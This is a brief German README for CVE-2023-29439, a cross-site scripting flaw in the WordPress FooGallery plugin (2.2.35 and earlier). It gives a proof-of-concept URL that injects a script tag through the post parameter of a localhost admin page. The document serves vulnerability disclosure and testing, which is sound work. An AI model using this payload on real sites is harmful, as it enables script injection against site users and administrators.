CVE-2023-29439

Dieses Repository behandelt eine XSS-Sicherheitslücke im WordPress-Foogallery-Plugin.

Details zur Schwachstelle

Beschreibung

In Foogallery 2.2.35 und früher ist die Funktion foogallery_image_editor_modal in foogallery/includes/admin/class-gallery-attachment-modal.php anfällig für XSS-Angriffe.

Voraussetzung

• Keine Authentifizierung erforderlich

Proof-of-Concept

1. Foogallery-Einstellungen → Admin → Erweitertes Anhang-Modal aktivieren
2. Sende http://localhost:8080/wp-admin/post-new.php?post_type=foogallery&post=”><script>alert(1)</script>

Referenzen

CVE-2023-29439